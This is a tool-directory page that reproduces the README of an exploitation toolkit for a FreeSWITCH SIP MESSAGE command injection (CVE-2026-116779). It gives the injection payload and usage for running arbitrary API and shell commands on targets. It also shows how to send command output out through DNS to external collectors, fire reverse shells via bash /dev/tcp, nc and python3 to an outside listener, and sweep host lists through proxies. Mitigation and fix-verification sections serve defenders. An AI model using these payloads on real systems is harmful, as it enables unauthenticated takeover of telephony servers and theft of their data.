Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
freeswitch-cve-2026-116779-POC — Detection and exploitation toolkit for the FreeSWITCH SIP MESSAGE command injection (CVE-2026-116779), with API execution, DNS OAST shell output, reverse shells, and host sweeping. | Kitploit
Tools/GitHubGitHub/hackzuoji/freeswitch-cve-2026-116779-poc
ReconnaissanceVulnerability ScannersPayload GenerationExploitationWeb Application ExploitationData ExfiltrationNetwork SecurityPenetration TestingRemote Access Tool
Share
GitHubhackzuoji/freeswitch-cve-2026-116779-poc

freeswitch-cve-2026-116779-POC

Detection and exploitation toolkit for the FreeSWITCH SIP MESSAGE command injection (CVE-2026-116779), with API execution, DNS OAST shell output, reverse shells, and host sweeping.

View Repository
21412 days agoNot yet reviewed

fscve — FreeSWITCH CVE-2026-116779 toolkit

CI Python License: MIT

Detection and exploitation tooling for CVE-2026-116779 — an unauthenticated command injection in FreeSWITCH where an inbound SIP MESSAGE can select the api chat protocol and reach switch_api_execute().

CVE      CVE-2026-116779  (GHSA-mg63-h38w-8p9p)
Type     CWE-78 OS command injection
CVSS     9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affects  FreeSWITCH < 1.11.3
Fixed    1.11.3  (enable-chat-api-proto gate, off by default, answers 403)

Use only against systems you own or are explicitly authorized to test.

How it works

sofia_presence_handle_sip_i_message() splits the To user of an inbound MESSAGE on + and uses the left side as a chat protocol selector, with no allow-list:

/* sofia_presence.c:4869-4877 */
if ((p = strchr(to_user, '+')) && p != to_user) {
    switch_copy_string(proto, to_user, sizeof(proto));   /* char proto[512] */
    p = strchr(proto, '+');
    *p++ = '\0';                                          /* proto = "api" */
    ...
}
/* sofia_presence.c:5013 */
switch_core_chat_send(proto, event);

mod_dptools registers an api chat interface that URL-decodes the remainder and hands it to the FreeSWITCH API dispatcher:

/* mod_dptools.c:6486 */
SWITCH_ADD_CHAT(chat_interface, "api", api_chat_send);
/* mod_dptools.c:4700-4707 */
switch_url_decode(cmd);
if ((arg = strchr(cmd, ' '))) *arg++ = '\0';
switch_api_execute(cmd, arg, NULL, &stream);

So this single message runs system id as the daemon:

To: <sip:api+system%20id@target>

Install

git clone https://github.com/hackzuoji/freeswitch-cve-2026-116779-POC.git
cd fscve
pip install -e .          # or: pip install -e ".[dev]"

No third-party runtime dependencies — standard library only.

Usage

Detect

fscve detect -t 10.0.0.5                 # default 5060/tcp
fscve detect -t 10.0.0.5:5080 --udp
fscve detect -t 10.0.0.5 --user 1000 --password 1234
fscve detect -t 10.0.0.5 --json
VerdictMeaning
ACCEPTEDapi proto reachable (2xx) — prove execution with shell
PATCHED403, the 1.11.3 gate is present
AUTH-REQdigest challenge, supply --user/--password
UNREACHABLEno SIP answer

Run a FreeSWITCH API

fscve api -t 10.0.0.5 "status"
fscve api -t 10.0.0.5 --user 1000 --password 1234 "sofia status profile internal"

Run a shell command and read stdout back

# dnslog.cn collector (creates a session automatically)
fscve shell -t 10.0.0.5 --user 1000 --password 1234 "id"

# your own OAST zone
fscve shell -t 10.0.0.5 --zone abc123.your-oast.example "hostname; id"

Output travels back inside a DNS label, hex-encoded:

( <cmd> ; echo " rc=$?" ) </dev/null 2>&1 | od -An -tx1 | tr -d ' \n'
    ->  <hex>.<tag>.<zone>

Reverse shell

fscve rev -t 10.0.0.5 --user 1000 --password 1234 203.0.113.9:4444
# listener: nc -lvnp 4444

Three engines (bash /dev/tcp, nc, python3) are fired as separate messages, because one command cannot exceed the To-user budget.

Sweep a list

fscve sweep -f hosts.txt --workers 16 --out results.jsonl
fscve sweep -f hosts.txt --proxy socks5://user:[email protected]:1080

Why the payload looks like that

Four constraints, each verified on a live 1.10.x box:

  1. + is hostile. mod_sofia rewrites the first surviving + in the To user into @, so the command must encode it as %2B. Spaces must be %20 — switch_url_decode() never treats + as a space.
  2. char proto[512]. The To user is copied into a 512-byte buffer and silently truncated, so the whole encoded command must stay under ~500 bytes (MAX_TO_USER). Long jobs need a download-then-run two-step.
  3. Pipe binds to the last command. echo a; echo b | od drops a. The command and the exit-code echo must be wrapped in a subshell before the pipe: ( cmd ; echo " rc=$?" ) | od ....
  4. DNS is case-insensitive. Collectors lower-case the label, which destroys base64. Hex is used instead; a 63-byte label carries ~30 bytes of stdout, hence head -c 28 in examples.

Also worth knowing: switch_core_chat_send() enqueues the message (CHAT_MAX_MSG_QUEUE=101, worker threads grow on demand) and sofia answers 202 immediately. A 2xx therefore proves nothing about execution — only an out-of-band callback does. Timing tricks (injecting sleep and measuring the next reply) do not work.

Verifying a fix

  • fscve detect returns PATCHED (403) on 1.11.3+.
  • The daemon logs, on a patched build: Profile [name] rejected a MESSAGE from ... addressed to the 'api' chat proto [...]
  • Config check: enable-chat-api-proto must stay absent/false; disable-auth-messages must not be set.

Mitigation

  1. Upgrade to 1.11.3+.
  2. Keep MESSAGE authentication on and purge default directory credentials (1000–1019 / 1234).
  3. <param name="enable-chat" value="false"/> if inbound chat is unused.
  4. Restrict 5060 to trusted peers (ACL / SBC).
  5. Never run FreeSWITCH as root.

Nuclei template

nuclei/CVE-2026-116779.yaml covers the anonymous case (profiles with disable-auth-messages). Digest challenge cannot be answered inside a stateless template — use fscve for authenticated confirmation.

Tests

python -m pytest            # or: python -m unittest discover -s tests -t .

The suite runs entirely offline against tests/mock_freeswitch.py, which implements the 401 challenge, the digest check and the api+ sink.

References

  • Advisory — https://github.com/signalwire/freeswitch/security/advisories/GHSA-mg63-h38w-8p9p
  • Fix commit — https://github.com/signalwire/freeswitch/commit/7015f6a73ab3d67fed5fbfc277ecfb88a74c2a86
  • Release 1.11.3 — https://github.com/signalwire/freeswitch/releases/tag/v1.11.3
  • CVE record — https://www.cve.org/CVERecord?id=CVE-2026-116779

License

MIT — see LICENSE.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

No popularity data yet.

Explore all tools

Browse our collection of tools

View all tools →